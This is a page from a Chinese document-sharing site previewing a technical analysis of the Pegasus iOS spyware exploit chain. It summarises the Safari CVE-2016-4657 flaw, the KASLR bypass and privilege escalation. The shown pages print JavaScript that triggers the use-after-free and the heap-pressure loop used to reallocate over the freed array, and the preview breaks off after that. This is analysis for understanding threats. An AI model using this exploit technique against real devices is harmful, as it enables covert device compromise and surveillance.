iOS Pegasus漏洞详解：技术细节与攻击路径

需积分: 9 153 浏览量更新于2024-07-20 收藏 422KB PDF 举报

本文档深入探讨了iOS Pegasus漏洞的详细技术分析，重点关注了针对Safari的CVE-2016-4657漏洞利用，以及如何通过Pegasus克服KASLR（随机化地址空间布局）保护。以下是主要内容的概述： **第1节：Pegasus在Safari中的漏洞利用（CVE-2016-4657）** 这部分介绍了Pegasus如何利用Safari浏览器的一个安全漏洞进行攻击。攻击者通过精心设计的恶意网站触发了该漏洞，导致用户在浏览时获得了一种任意读写能力。攻击者首先设法获取到一个对象地址，进而执行了本地代码，成功绕过了系统的检测机制。 **第2节：Pegasus对抗KASLR的策略** KASLR是iOS系统的一项关键安全特性，用于混淆可执行文件的内存位置。Pegasus针对32位和64位二进制文件的不同，采取了不同的策略。首先，它分析了两种架构之间的差异，包括API加载和环境设置。通过这些手段，Pegasus能够确定平台并击败KASLR，建立读写执行权限。对于32位设备，Pegasus实现了线程操纵、通信通道的建立以及有效载荷的构建与内核插入，而在64位设备上也有类似的过程，但可能涉及更复杂的技术细节。 **第3节：特权提升和激活Jailbreak Binary** 完成上述步骤后，Pegasus进一步进行系统修改以实现特权提升，如禁用代码签名检查，以便让恶意代码在不受限制的环境中运行。这部分内容详细阐述了如何利用这些权限来激活预先root过的设备上的Jailbreak Binary（越狱程序），从而完全控制设备。这篇文档揭示了Pegasus漏洞利用的深度和复杂性，不仅涉及浏览器漏洞的挖掘，还展示了攻击者如何巧妙地利用系统机制，从低级漏洞上升至对整个系统的完全控制。这为理解iOS安全威胁提供了重要的技术视角，并强调了定期更新和强化安全防护措施的重要性。

Page 7

Exploitation

The Pegasus exploit triggers this vulnerability by passing a specifically crafted sequence of

properties to the defineProperties() method. When these individual properties are subsequently

inserted into a MarkedArgumentBuffer the vulnerability is triggered such that a JSArray object

will be improperly deallocated if garbage collection can be triggered at a critical point in time.

Because garbage collection can not be triggered deterministically, the exploit makes repeated

attempts to trigger the improper deallocation and subsequent reallocation (for a total of ten

attempts), testing each time whether a stale reference has been successfully acquired.

Assuming garbage collection has been triggered at the correct time, another object is allocated

over the top of the now stale JSArray. The exploit then sets up the tools needed to gain arbitrary

native code execution, namely a read/write primitive and the ability to leak the address of an

arbitrary JavaScript object. Once this is complete the exploit can create an executable mapping

containing the native code payload. The following sections detail the various stages of this

process.

Setting up and triggering the vulnerability

In order to achieve arbitrary code execution, the exploit triggers the vulnerable code path using

a JSArray object. The following pseudo code is used to trigger the vulnerability.

var arr = new Array(2047);

var not_number = {};

not_number.toString = function() {

arr = null;

props["stale"]["value"] = null;

… // Trigger garbage collection and reallocation over stale object

return 10;

};

var props = {

p0 : { value : 0 },

p1 : { value : 1 },

p2 : { value : 2 },

p3 : { value : 3 },

p4 : { value : 4 },

p5 : { value : 5 },

p6 : { value : 6 },

p7 : { value : 7 },

p8 : { value : 8 },

length : { value : not_number },

stale : { value : arr },

after : { value : 666 }

};

var target = [];

Object.defineProperties(target, props);

The specified props object has been specifically crafted to trigger the vulnerability in

slowAppend(). When the ninth property is added to the MarkedArgumentBuffer (p8),

slowAppend() will fail to acquire a heap context (because the value is simple type, an integer,

and not backed by an item on the heap). Subsequent Heap-backed values (not_number and

Page 8

arr) will not be explicitly protected from deallocation by the MarkedArgumentBuffer during

garbage collection.

When defineOwnProperty() is called for the length property, it will attempt to convert the value

(not_number) to a number. As part of this code path, the toString() method will be called,

allowing the last two references to the arr JSArray to be removed. Once removed, this JSArray

is no longer marked, and the next garbage collection pass will deallocate the object. Pegasus

creates memory pressure (allocates a large amount of memory) within the toString() method in

an attempt to force garbage collection to run (and deallocate the arr object).

var attempts = new Array(4250000);

var pressure = new Array(100);

...

not_number.toString = function() {

...

for (var i = 0; i < pressure.length; i++) {

pressure[i] = new Uint32Array(262144);

}

var buffer = new ArrayBuffer(80);

var uintArray = new Uint32Array(buffer);

uintArray[0] = 0xAABBCCDD;

for (i = 0; i < attempts.length; i++) {

attempts[i] = new Uint32Array(buffer);

}

Each of the 4.25 million Uint32Arrays allocated for the attempts array use the same backing

ArrayBuffer. These objects are used to attempt to reallocate a series of Uint32Arrays into the

same memory referenced by the JSArray object (arr).

Once complete, the exploit checks to see whether garbage collection was successfully

triggered.

var before_len = arr.length;

Object.defineProperties(target, props);

stale = target.stale;

var after_len = stale.length;

if (before_len == after_len) {

throw new RecoverableException(8);

}

If the length of the JSArray remains the same it means that either garbage collection was not

triggered or that none of the allocated Uint32Arrays were allocated into the same address as the

stale object. In these cases, the exploit has failed and the exploit is retried.

Acquiring an arbitrary read/write primitive

Assuming the exploit has succeeded to this point, there are now two objects of different types

that are represented by the same memory. The first is the (now stale) JSArray, and the second

is one of the many Uint32Arrays that were allocated (in fact, the underlying templated type is

JSGenericTypedArrayView). By reading from and writing to offsets into the stale object, member

剩余42页未读，继续阅读

Enderson

粉丝: 0
资源: 3

iOS Pegasus漏洞详解：技术细节与攻击路径

ArubaInstant_Pegasus_6.4.4.8-4.2.4.6_58505

ArubaInstant_Pegasus_6.4.2.6-4.1.3.7_71499

Pegasus-Javascript库数据加载速度更快

pegasus-cloud-web

t5-pegasus-pytorch

pegasus-rp2-metadata

pegasus-go-client:apacheincubator-pegasus的官方Go客户

ArubaInstant-Pegasus-6.5.4.24-84938

ArubaInstant-Pegasus-6.5.4.27-88283

ArubaInstant-Pegasus-6.5.4.25-86114

最新资源